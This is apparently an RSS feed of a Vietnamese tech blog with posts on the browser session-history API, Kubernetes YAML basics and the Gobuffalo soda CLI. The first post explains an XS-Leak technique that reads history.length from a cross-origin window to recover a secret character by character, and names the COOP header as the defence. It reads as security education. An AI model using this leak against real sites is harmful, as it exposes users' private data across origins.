Rayinaw https://rayinaw.github.io/ 来年の事を言えば鬼が笑う Mon, 23 Sep 2024 06:26:16 GMT http://hexo.io/ Browser's Session History And XSLeak https://rayinaw.github.io/2024/05/23/chrome-session-history/ https://rayinaw.github.io/2024/05/23/chrome-session-history/ Thu, 23 May 2024 04:22:04 GMT <h2 id="Browser’s-Session-History-And-XSLeak"><a href="#Browser’s-Session-History-And-XSLeak" class="headerlink" title="Browser’s Session Hi Browser’s Session History And XSLeak

Browser’s session history

A browser’s session history keeps track of the navigations in each tab, to support back/forward navigations and session restore. This is in contrast to “history” (e.g., chrome://history ), which tracks the main frame URLs the user has visited in any tab for the lifetime of a profile.

History API usage

https://developer.mozilla.org/en-US/docs/Web/API/History_API#concepts_and_usage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//
history.back();
history.go(-1);

//
history.forward();
history.go(1);


// ************* //

history.go(2)
history.go(-2)

// Refreshing the page
history.go(0);
history.go(); 

// determine the number of pages in the history stack

console.log(history.length);

popstate event

Popstate là một event của window được kích hoạt mỗi khi người dùng điều hướng session history (back, forward, go).

1
2
3
4
5
6
7
8
9
10
11
window.addEventListener("popstate", (event) => {
  console.log(
    `location: ${document.location}, state: ${JSON.stringify(event.state)}`,
  );
});
history.pushState({ page: 1 }, "title 1", "?page=1");
history.pushState({ page: 2 }, "title 2", "?page=2");
history.replaceState({ page: 3 }, "title 3", "?page=3");
history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
history.back(); // Logs "location: http://example.com/example.html, state: null"
history.go(2); // Logs "location: http://example.com/example.html?page=3, state: {"page":3}"

history.pushState

pushState sẽ thêm một entry mới trong session history

1
2
3
4
5
6
7
history.pushState('page 1', "title 1", "?page=1");
history.pushState('page 2', "title 1", "?page=2");
history.state
// page 2
history.state
history.back()
// page 1

Cần lưu ý là không thể thêm entry khác origin với origin hiện tại:

1
history.pushState('page 2', "title 1", "https://example.com");

VM2110:1 Uncaught DOMException: Failed to execute ‘pushState’ on ‘History’: A history state object with URL ‘https://example.com/' cannot be created in a document with origin ‘http://127.0.0.1:5500' and URL ‘http://127.0.0.1:5500/index.html?page=1'. at :1:9

history.replaceState

Thay thế state hiện tại bằng một giá trị được replace:

1
2
3
4
5
6
7
8
9
10
11
history.pushState('page 1', "title 1", "?page=1");
history.pushState('devil page', "title 1", "?page=devil");
history.state
// page devil
history.state
history.back()
// page 1

history.forward()
history.state
// devil

XSLeak với Session History

Leak thông qua navigation với thuộc tính history.length

Đầu tiên giả sử cửa sổ đang ở một trang là https://abc.com, và bây giờ ta sẽ mở một window với một trang khác origin:

1
w = window.open('https://example.com')

Ở cửa sổ mới, vào console rồi pushState như sau:

1
history.pushState('','','?q=abc')

Quay lại cửa sổ cũ, ta không thể truy xuất history.length:

1
w.history.length

VM5175:1 Uncaught DOMException: Failed to read a named property ‘history’ from ‘Window’: Blocked a frame with origin “http://127.0.0.1:5500" from accessing a cross-origin frame. at <anonymous>:1:3

Tuy nhiên, nếu ta set location của cửa sổ mới thành một giá trị thõa mãn same origin với cửa sổ hiện tại thì ta có thể truy xuất được giá trị đó, ta có 2 cách:

  • Set origin thành about:blank
  • Set origin thành giá trị của cửa sổ https://abc.com

Thực hiện lại quá trình trên:

1
w = window.open('https://example.com')

Ở bên kia push state:

1
history.pushState('','','?q=abc')

Quay trở lại trang abc.com:

1
2
3
4
w.location='about:blank'
// Or w.location='https://abc.com'
w.history.length
//3

Ta đã hiểu được concept cơ bản, bây giờ mình sẽ nói tiếp trong ngữ cảnh cụ thể.

Giả sử nếu chức năng tìm kiếm của một trang web có chức năng như sau:

  • Nếu tìm kiếm một secret thành công nó sẽ redirect ta đến một trang nào đó

Ví dụ như ta xác định được nếu tìm kiếm thành công thì history.length đã redirect sẽ là 4, còn tìm kiếm sai thì là 3.

  • Bây giờ ta chỉ cần search từng kí tự, nếu redirect là 4 thì kí tự đó đúng, còn không thì là sai, cứ thế cho đến khi ta lấy được secret.

Cụ thể hơn về ngữ cảnh bạn có thể xem thêm ở đây:

Protection

Thêm header Cross-Origin-Opener-Policy:

1
2
3
<?php 
header( 'cross-origin-opener-policy: same-origin-allow-popups' ); 
?>

Additional trick: set giá trị của header HTTP referer

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#unsafe-url_2

Ta có thể set giá trị của referer với toàn bộ url kể cả path, query, hash,… với meta tag:

1
2
3
4
<meta name="referrer" content="unsafe-url" />
<script>
    history.pushState('','','?q=abc')
</script>

Khi này giá trị của referrer nếu được bắt từ trang này sẽ là:

1
https://example.com?q=abc
]]> Client side XS-leak Browser XS-leak Session History https://rayinaw.github.io/2024/05/23/chrome-session-history/#disqus_thread Học cách viết và hiểu một Kubernetes YAML files https://rayinaw.github.io/2023/12/10/writing-a-kubenetes-yaml/ https://rayinaw.github.io/2023/12/10/writing-a-kubenetes-yaml/ Sun, 10 Dec 2023 14:41:44 GMT <h1 id="Hoc-cach-viet-va-hieu-mot-Kubernetes-YAML-files"><a href="#Hoc-cach-viet-va-hieu-mot-Kubernetes-YAML-files" class="headerlink" title Học cách viết và hiểu một Kubernetes YAML files

Tổng quan

Ở bài viết trước mình đã nói sơ qua về kubenetes, trong bài viết này chúng ta sẽ tập trung vào cách viết và tạo một kubenetes pod, service,…

Ở đây mình sử dụng minikube để demo, các bạn có thể cài đặt theo hướng dẫn ở đây.

Pod

Pod là đơn vị nhỏ nhất trong kubenetes, bên trong nó sẽ chứa những container. Các container bên trong sẽ dùng chung một địa chỉ ip của pod và không gian port. Địa chỉ ip của pod chỉ là một địa chỉ ip nội bộ, không phải ip của cluster.

image

Thông thường, người ta sẽ chỉ chạy duy nhất một container bên trong một Pod, và chỉ có một vài trường hợp số ít, khi cần một số helper như ghi log hay một helper gì đó người ta mới chạy nhiều container bên trong một Pod.

image

Về miệc chạy multi container có thể xem thêm ở đây.

Demo Pod

test-pod.yaml

1
2
3
4
5
6
7
8
9
10
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - name: nginx
    image: nginx:1.24.0
    ports:
    - containerPort: 80

Một file yaml với kind Pod sẽ có dạng như trên, ngoài ra ta có thể quản lý các pod bằng cách thêm các labels cho Pod:

1
2
3
4
5
6
7
8
9
10
11
12
13
apiVersion: v1
kind: Pod
metadata:
  name: nginx
  labels:
    app: nginx
    test: test
spec:
  containers:
  - name: nginx
    image: nginx:1.24.0
    ports:
    - containerPort: 80

Chạy lệnh kubectl apply -f test-pod.yaml:

1
2
3
4
5
> kubectl apply -f test-pod.yaml
pod/nginx created
> kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          29m

Ta đã tạo thành công một Pod, tuy nhiên ta không thể truy cập vào nginx mặc dù đã có thuộc tính containerPort: 80:

1
2
3
4
> minikube ip
192.168.59.101
> curl 192.168.59.101:80
curl: (7) Failed to connect to 192.168.59.101 port 80 after 1 ms: Couldn't connect to server

Tại sao lại vậy? Lý do là vì Pod chỉ là một đơn vị trong một cluster, do đó nó chỉ có thể truy cập bên trong cluster đó.

image

Để đưa port đó ra ngoài, ta cần sử dụng đến Service.

Service

image

Service được dùng để public port của Pod ra ngoài, để xác định Pod nào cần public port ta cần chỉ định Selector trỏ đến label của Pod đó.

1
2
3
4
5
6
7
8
9
10
11
12
apiVersion: v1
kind: Service
metadata:
  name: service-web
spec:
  selector:
    app: nginx
  ports:
    - name: tcp
      port: 80
      nodePort: 30007 
  type: NodePort

Một file yml của Service sẽ có dạng như trên.

  • name: tcp: chỉ định giao thức trên port.

Có 4 loại type của Service:

  • type: ClusterIP: Nếu ta chỉ định là ClusterIP thì service của chúng ta chỉ có thể truy cập bên trong cluster và không thể truy cập từ bên ngoài ví dụ như truy cập từ browser.

    image

    Ta sử dụng ClusterIP nếu service đó chỉ là một internal service. Ví dụ như một microservices, ta chỉ muốn nó chạy nội bộ và chỉ có microservices khác giao tiếp với nó.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    apiVersion: v1
    kind: Service
    metadata:
    name: clusterip-service

    spec:
    selector:
        app: nginx

    ports:
        - name: tcp
        port: 80
        
    type: ClusterIP
    1
    2
    3
    4
    5
    6
    > kubectl get all
    NAME        READY   STATUS    RESTARTS   AGE
    pod/nginx   1/1     Running   0          103m

    NAME                        TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
    service/clusterip-service   ClusterIP   10.111.124.5     <none>        80/TCP         12s

    Ta thấy nó được cấp một địa chỉ ip, bây giờ các service khác ở trong cùng cluster có thể tương tác với nó bằng ip trên hoặc http://clusterip-service

  • type: NodePort

    image

    NodePort cho phép chúng ta expose port để có thể truy cập bên ngoài cụm, port expose ra sẽ được truy cập từ bằng nodePort. Ta chỉ có thể chỉ định NodePort nằm tròng khoảng 30000-32768.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    apiVersion: v1
    kind: Service
    metadata:
    name: service-web

    spec:
    selector:
        app: nginx

    ports:
        - name: tcp
        port: 80
        nodePort: 30007
        
    type: NodePort
    1
    2
    3
    4
    5
    6
    7
    8
    9
    NAME                        TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE
    service/clusterip-service   ClusterIP   10.111.124.5     <none>        80/TCP         60m
    service/kubernetes          ClusterIP   10.96.0.1        <none>        443/TCP        3h16m
    service/service-web         NodePort    10.100.217.211   <none>        80:30007/TCP   63m
    > minikube ip
    192.168.59.101
    > curl 192.168.59.101:30007
    StatusCode        : 200
    StatusDescription : OK

ReplicaSets

ReplicaSet được dùng để duy trì tính ổn định của Pod khi tạo ra nhiều bản sao của Pod đó. Nếu một Pod trong số Replicas đó crash thì server vẫn có thể duy trì nhờ vào các bản sao.

Viết một file Replicas type khá đơn giản, ta chỉ cần wrap Pod vào trong spec như sau:

  • Pod được quản lý bởi ReplicaSet nên ta có thể bỏ name của Pod trong phần metadata của Pod.
  • Tương tự như service, ta cầng dùng đến selector để chỉ định Pod nào cần Replica.
1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: apps/v1
kind: ReplicaSet
metadata:
  name: nginx
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginxweb
  template:
    metadata:
      labels:
        app: nginxweb
    spec:
      containers:
      - name: nginx
        image: nginx:1.24.0
        ports:
        - containerPort: 80

Apply file trên:

1
2
3
4
5
6
7
8
9
> kubectl get all
NAME              READY   STATUS              RESTARTS   AGE
pod/nginx-drb62   0/1     ContainerCreating   0          45s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   92m

NAME                    DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx   1         1         0       45s

Pod đã được cấp tên ở trong replicaset nên đó là lý do ta không cần metadata name.

Deployment

Deployment là một khái niệm nâng cấp hơn của ReplicaSet, nó tương tự như ReplicaSet nhưng điểm khác biệt là giúp ứng dụng “rolling updates”. Rolling updates cho phép cập nhật của Deployments diễn ra mà không gây gián đoạn bằng cách cập nhật từng đợt Pod một cách tăng dần với các phiên bản mới.

Cách deployment rolling updates:

  • Giả sử ban đầu ta có một tập ReplicaSet từ deployment như sau:image
  • Bây giờ ta muốn update Pod từ v1 thành v2, ta sửa file yaml và appy nó trên kube. Sau khi apply, kube sẽ tiến hành tạo một ReplicaSet mới với Pod v2:
    image
  • Sau khi ReplicaSet mới được hoàn thiện, và sẵn sàng cho request. Kube sẽ tiến hành xóa các Pod trong ReplicaSet cũ, tuy nhiên ReplicaSet vẫn ở đấy với 0 Pod:
    image

Demo

xyz-deployment.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginxweb
  template:
    metadata:
      labels:
        app: nginxweb
    spec:
      containers:
      - name: nginx
        image: nginx:1.24
        ports:
        - containerPort: 80
1
2
3
4
5
6
7
8
9
10
11
12
13
kubectl get all
NAME                                    READY   STATUS    RESTARTS   AGE
pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          9s
pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          9s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   118m

NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/nginx-deployment   2/2     2            2           9s

NAME                                          DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx-deployment-5c5c46c579   2         2         2       9s

Bây giờ đổi version của nginx để xem cách deployment rolling update:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginxweb
  template:
    metadata:
      labels:
        app: nginxweb
    spec:
      containers:
      - name: nginx
        image: nginx:1.25.2
        ports:
        - containerPort: 80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
> kubectl get all
pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          2m28s
pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          2m28s
pod/nginx-deployment-77dff7f778-5mqkn   0/1     Pending   0          2s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   120m

NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/nginx-deployment   0/2     1            0           2m28s

NAME                                          DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx-deployment-5c5c46c579   2         2         0       2m28s
replicaset.apps/nginx-deployment-77dff7f778   1         1         0       2s
> kubectl get all
pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          2m30s
pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          2m30s
pod/nginx-deployment-77dff7f778-5mqkn   0/1     Pending   0          4s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   120m

NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/nginx-deployment   0/2     1            0           2m30s

NAME                                          DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx-deployment-5c5c46c579   2         2         0       2m30s
replicaset.apps/nginx-deployment-77dff7f778   1         1         0       4s
> kubectl get all
pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running   0          2m34s
pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running   0          2m34s
pod/nginx-deployment-77dff7f778-5mqkn   0/1     Pending   0          8s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   120m

NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/nginx-deployment   0/2     1            0           2m35s

NAME                                          DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx-deployment-5c5c46c579   2         2         0       2m35s
replicaset.apps/nginx-deployment-77dff7f778   1         1         0       9s
NAME                                    READY   STATUS              RESTARTS   AGE
pod/nginx-deployment-5c5c46c579-db5dj   1/1     Running             0          2m38s
pod/nginx-deployment-5c5c46c579-djcsk   1/1     Running             0          2m38s
pod/nginx-deployment-77dff7f778-5mqkn   0/1     ContainerCreating   0          12s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   121m

NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/nginx-deployment   2/2     1            2           2m39s

NAME                                          DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx-deployment-5c5c46c579   2         2         2       2m39s
replicaset.apps/nginx-deployment-77dff7f778   1         1         0       13s
> kubectl get all
NAME                                    READY   STATUS    RESTARTS   AGE
pod/nginx-deployment-77dff7f778-5mqkn   1/1     Running   0          19s
pod/nginx-deployment-77dff7f778-5vvtq   1/1     Running   0          6s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   121m

NAME                               READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/nginx-deployment   2/2     2            2           2m45s

NAME                                          DESIRED   CURRENT   READY   AGE
replicaset.apps/nginx-deployment-5c5c46c579   0         0         0       2m45s
replicaset.apps/nginx-deployment-77dff7f778   2         2         2       19s

Ngoài ra ta có thể xem quá trình rollout đơn giản hơn bằng lệnh rollout:

1
2
3
4
5
6
7
8
9
> kubectl apply -f .\deployment.yaml
deployment.apps/nginx-deployment configured
> kubectl rollout status deployment nginx-deployment
Waiting for deployment "nginx-deployment" rollout to finish: 1 out of 2 new replicas have been updated...
Waiting for deployment "nginx-deployment" rollout to finish: 1 out of 2 new replicas have been updated...
Waiting for deployment "nginx-deployment" rollout to finish: 1 out of 2 new replicas have been updated...
Waiting for deployment "nginx-deployment" rollout to finish: 1 old replicas are pending termination...
Waiting for deployment "nginx-deployment" rollout to finish: 1 old replicas are pending termination...
deployment "nginx-deployment" successfully rolled out
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> kubectl rollout history deploy nginx-deployment
deployment.apps/nginx-deployment
REVISION  CHANGE-CAUSE
3         <none>
4         <none>
> kubectl rollout history deploy nginx-deployment
deployment.apps/nginx-deployment
REVISION  CHANGE-CAUSE
3         <none>
4         <none>

> kubectl rollout undo deploy nginx-deployment --to-revision=3
deployment.apps/nginx-deployment rolled back
> kubectl rollout history deploy nginx-deployment
deployment.apps/nginx-deployment
REVISION  CHANGE-CAUSE
4         <none>
5         <none>
]]> https://rayinaw.github.io/2023/12/10/writing-a-kubenetes-yaml/#disqus_thread Gobuffalo Soda-cli https://rayinaw.github.io/2023/07/17/gobuffalo-soda-cli/ https://rayinaw.github.io/2023/07/17/gobuffalo-soda-cli/ Mon, 17 Jul 2023 08:45:07 GMT <h2 id="Install"><a href="#Install" class="headerlink" title="Install"></a>Install</h2><p><a href="https://gobuffalo.io/documentation/databa Install

https://gobuffalo.io/documentation/database/soda/

Tạo database

  • Cách 1: Sử dụng file database.yml:
    1
    2
    3
    4
    5
    6
    7
    development:
      dialect: postgres
      database: myapp_development
      user: postgres
      password: postgres
      host: 127.0.0.1
      pool: 5
    Sau khi tạo file database.yml, ta chạy lệnh soda create -a để tạo database.
  • Cách 2: Sử dụng cli để tạo trực tiếp:
    • soda create -e test

Database Migrations

Tạo một thư mục migrations để quản lý các file .fizz và .sql

1
2
3
4
├───cmd
│   └───web
└───db
    └───migrations

Gobuffalo có sử dụng một gói quản lý fizz để dễ dàng hơn trong việc viết các câu lệnh tạo bảng,… Tuy nhiên ta cũng có thể sử dụng sql migration.

Fizz migration

Tạo một migrations:

1
soda generate fizz -p ./db/migrations name_of_migration

Ví dụ:

1
soda generate fizz -p ./db/migrations create_users_table

Hai file 20230717051256_create_users_table.down.fizz, 20230717051256_create_users_table.up.fizz được tạo ra.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ soda g migration --help
Generates Up/Down migrations for your database using fizz.

Usage:
  soda generate fizz [name] [flags]

Aliases:
  fizz, migration

Flags:
  -h, --help   help for fizz

Global Flags:
  -c, --config string   The configuration file you would like to use.
  -d, --debug           Use debug/verbose mode
  -e, --env string      The environment you want to run migrations against. Will use $GO_ENV if set. (default "development")
  -p, --path string     Path to the migrations folder (default "./migrations")

Sql migration

1
soda generate sql name_of_migration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ soda g sql --help
Generates Up/Down migrations for your database using SQL.

Usage:
  soda generate sql [name] [flags]

Flags:
  -h, --help   help for sql

Global Flags:
  -c, --config string   The configuration file you would like to use.
  -d, --debug           Use debug/verbose mode
  -e, --env string      The environment you want to run migrations against. Will use $GO_ENV if set. (default "development")
  -p, --path string     Path to the migrations folder (default "./migrations")

Viết một fizz file

Ví dụ ta tạo một bảng users:

  • .up.fizz file:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    create_table("users") {
      t.Column("id", "integer", {primary: true})
      t.Column("first_name", "string", {"size": 255})
      t.Column("last_name", "string", {"size": 255})
      t.Column("user_active", "integer", {"default": 0})
      t.Column("email", "string", {})
      t.Column("password", "string", {"size": 60})
      t.Column("deleted_at", "timestamp", {"null": true})
    }
  • .down.fizz file:
    1
    drop_table("users")

Sau khi set xong, ta chạy lệnh soda migrate up hoặc soda migrate để tạo table. Sau khi chạy thành công ta có thể thấy cấu hình được dump ra từ sql file.

1
2
3
4
5
6
7
│   database.yml
│   db.go
│
└───migrations
        20230717051256_create_users_table.down.fizz
        20230717051256_create_users_table.up.fizz
        schema.sql
]]> https://rayinaw.github.io/2023/07/17/gobuffalo-soda-cli/#disqus_thread Kubernetes learning https://rayinaw.github.io/2023/06/23/kubernetes-learning/ https://rayinaw.github.io/2023/06/23/kubernetes-learning/ Fri, 23 Jun 2023 14:53:41 GMT <h1 id="Kubernetes-learning"><a href="#Kubernetes-learning" class="headerlink" title="Kubernetes learning"></a>Kubernetes learning</h1><h2 i Kubernetes learning

Docker vs Kubernetes

Docker và container

Trước khi đi vào kubernetes thì ta sẽ đi qua docker và container trước.

image

Trong mô hình Virtual Machine, mỗi VM đều có hệ điều hành riêng (guest OS) và một bản sao của kernel của hệ điều hành đó. Khi bạn khởi động một VM, nó sẽ khởi động guest OS, và sau đó các ứng dụng và dịch vụ chạy trên guest OS này. Mỗi VM hoạt động như một máy tính ảo hoàn chỉnh với hệ điều hành độc lập.

Khác với VM, Containers là một công nghệ ảo hóa mức ứng dụng, nó không cần Guest OS mà trực tiếp chia sẻ với nhau Host OS thông qua Docker Engine.

Kubernetes

Cũng là ứng dụng quản lý container, nhưng khác với Docker là công cụ tạo và quản lý container độc lập, Kubernetes là hệ thống orkestrasi container mạnh mẽ giúp quản lý, mở rộng, và tự động hóa quá trình triển khai và quản lý ứng dụng container phức tạp.

Kubernetes Architecture

image

Cluster

image

Cluster (cụm) là một nhóm các Node (là các máy ảo), trên Cluster sẽ có môi trường Kubernetes.

Một cụm Kubernetes (Kubernetes cluster) bao gồm control plane nodes (hay còn gọi là Master nodes quản lý Cluster) và các worker nodes.

Master chịu trách nhiệm quản lý cụm và master điều phối tất cả các hoạt động trong cụm.

Mỗi worker node xem như một máy riêng và có một kubelet, là proxy quản lý node và giao tiếp với Kubernetes Master node.

Control Plane (Master node)

Control plane chịu trách nhiệm điều phối vùng chứa và duy trì trạng thái của Cluster. Control plane bao gồm những thành phần sau:

  1. kube-apiserver
  2. etcd
  3. kube-scheduler
  4. kube-controller-manager
  5. cloud-controller-manager
image

Worker nodes

Các worker nodes là nơi chạy các ứng dụng containerized. Gồm những thành phần sau:

  1. kubelet
  2. kube-proxy
  3. Container runtime

Pods

image

Trong Docker, các container là đơn vị nhỏ nhất để triển khai. Tuy nhiên, Kubernetes đưa ra một đơn vị mới là Pod làm đơn vị nhỏ nhất.

Pod là một tập hợp các containers, chúng chia sẻ một không gian mạng và bộ nhớ. Điều này giúp dễ quản lý các containers hơn.

Mỗi Pod sẽ có một địa chỉ ip riêng.

Ví dụ một Pod sẽ bao gồm 2 containers:

  • Một server nginx chạy trên port 80
  • Một server backend nodejs chạy trên port 3000

Pod sẽ được mô tả bằng một tệp YAML, và khi triển khai lên Kubernetes, nó sẽ tạo ra một Pod ví dụ như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
apiVersion: v1
kind: Pod
metadata:
  name: my-app
spec:
  containers:
  - name: nginx
    image: nginx
    ports:
    - containerPort: 80
  - name: backend
    image: web-backend-image:latest
    ports:
    - containerPort: 3000

Đặt tên file trên và chạy lệnh kubectl apply -f your-file.yaml là ta có thể triển khai một Pod trên kubernetes.

Những thành phần và khái niệm cơ bản

Basic concepts

  • ReplicaSet: Được định nghĩa khi khai báo kind của app, được sử dụng để quản lý và đảm bảo số lượng bản sao (replicas) của Pod. Giúp đảm bảo tính sẵn sàng nếu một trong những bản sao bị lỗi.

Ví dụ ta có một server nginx. Để đảm bảo tính sẵn sàng và dự phòng cho trường hợp lỗi, ta khai báo ReplicaSet với số lượng replicas là 3 như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: apps/v1
kind: ReplicaSet
metadata:
  name: my-replicaset
spec:
  replicas: 3
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
      - name: my-container
        image: nginx:latest
  • Deployment: Có nhắc đến ở dưới phần demo.
  • Service:
    • Định nghĩa cổng vào dịch vụ (service) và cung cấp một địa chỉ IP và cổng cho ứng dụng khác kết nối tới.
    • Nó sử dụng Label Selector để xác định các Pod cụ thể mà nó liên kết và cung cấp một cách thống nhất để truy cập các ứng dụng trên cụm Kubernetes.
      Ví dụ ta có một ứng dụng web được triển khai trên Kubernetes bằng một số Pod, bây giờ ta muốn nó có thể được truy cập từ bên ngoài cụm Kubernetes, ta sẽ sử dụng service như sau:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      apiVersion: v1
      kind: Service
      metadata:
        name: my-service
      spec:
        selector:
          app: my-app
        ports:
          - protocol: TCP
            port: 80
            targetPort: 8080
  • metadata: Xác định tên của Service (ở đây là “my-service”).
  • selector: Sử dụng Label Selector để xác định những Pod nào sẽ thuộc về Service (ở đây là các Pod có label “app: my-app”).
  • ports: Xác định cổng ngoài (port) và cổng mục tiêu (targetPort) mà Service sẽ sử dụng để chuyển hướng truy cập.
  • Bây giờ, ta chỉ cần truy cập bằng ip của cluster http://<cluster-ip>:80

Kubernetes Control Plane Components

Tạo một ứng dụng đơn giản với kuberctl

Tạo một AKS Cluster với Azure cloud service

Đầu tiên vào https://portal.azure.com/ chọn loại Kubernetes service để tạo một AKS Cluster mới. Xem hướng dẫn thêm ở đây.

Kết nối đến Cluster

Đầu tiên ta cần config kubectl kết nối đến Kubernetes cluster:

1
az aks get-credentials --resource-group <group-name> --name <Cluster-name>

Sau khi chạy lệnh xong, ta sẽ nhận được kết quả: Merged "AKSCluster" as current context in /home/azureuser/.kube/config

Chạy lệnh kubectl get nodes để xem trạng thái Cluster.

1
2
3
kubectl get nodes
NAME                                STATUS   ROLES   AGE     VERSION
aks-agentpool-75533554-vmss000000   Ready    agent   2m29s   v1.25.6

Vậy là Azure đã bắt đầu tính phí rồi :D, sử dụng xong nhớ xóa cluster vừa tạo nhé.

Kubernetes YAML File

Mọi Configuration file trong Kubernetes gồm 3 phần:

  • Header: gồm hai trường như sau:
    • apiVersion: Xác định phiên bản API của Kubernetes, thường là v1.
    • kind: Xác định loại đối tượng mà file YAML định nghĩa. 
      1
      2
      3
      kind: Deployment # 
      kind: Service # 
      kind: Pod # đại diện cho một nhóm các container chạy trên cùng một node.
      1
      2
      apiVersion: v1
      kind: Pod
  • metadata: chứa thông tin mô tả về dữ liệu, tài nguyên. Bao gồm các trường sau:
    • name: Tên của app
    • labels:
  • specification:

Demo cho Kind Deployment, Service, Pod

Pod

Thường ta sử dụng kind: Pod với những ứng dụng đơn lẻ, tác vụ đơn giản như nginx, Redis, các container ghi log,…

Ví dụ: Tạo file name <name>.yaml ví dụ pod.yaml

1
2
3
4
5
6
7
8
9
10
apiVersion: v1
kind: Pod
metadata:
  name: my-app-pod
spec:
  containers:
  - name: my-app-container
    image: nginx:latest
    ports:
    - containerPort: 80

Khởi chạy:

1
2
3
4
5
6
7
PS /home/azureuser/test> kubectl apply -f pod.yaml
pod/my-app-pod created
PS /home/azureuser/test> kubectl get pods
NAME         READY   STATUS    RESTARTS   AGE
my-app-pod   1/1     Running   0          2m5s
PS /home/azureuser/test> kubectl describe pod my-app-pod
# Thông tin pod

Tương tác với container trong pod:

1
2
3
4
5
PS /home/azureuser/test> kubectl exec my-app-pod -c my-app-container -- nginx -v
nginx version: nginx/1.25.1
# Kết quả trả về có nghĩa nginx container của ta đang chạy trong pod
# Hoặc tương tự ta có thể sử dụng Pseudo-TTY như docker
PS /home/azureuser/test> kubectl exec -it my-app-pod -c my-app-container -- /bin/bash

kubectl exec -h để xem thêm những câu lệnh khác.

Xóa pod: PS /home/azureuser/test> kubectl delete pod my-app-pod

Pod template

Ở trên là ta chỉ build riêng pod. Nhưng với một số Kind khác như Deployment, Job, DaemonSet thì để setting cho pod, ta phải định nghĩa thêm Pod template.

Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
apiVersion: batch/v1
kind: Job
metadata:
  name: hello
spec:
  template:
    # This is the pod template
    spec:
      containers:
      - name: hello
        image: busybox:1.28
        command: ['sh', '-c', 'echo "Hello, Kubernetes!" && sleep 3600']
      restartPolicy: OnFailure
    # The pod template ends here
1
2
3
4
5
6
7
8
9
PS /home/azureuser/test> kubectl get jobs
NAME    COMPLETIONS   DURATION   AGE
hello   0/1           13s        13s
PS /home/azureuser/test> kubectl get pods
NAME          READY   STATUS    RESTARTS   AGE
hello-rh9xw   1/1     Running   0          30s
my-app-pod    1/1     Running   0          129m
PS /home/azureuser/test> kubectl exec hello-rh9xw -c hello -- echo "hello"
hello

Xóa jobs: PS /home/azureuser/test> kubectl delete job hello

Deployment

Deployment là một tài nguyên trong Kubernetes để quản lý và duy trì một nhóm các Pod .

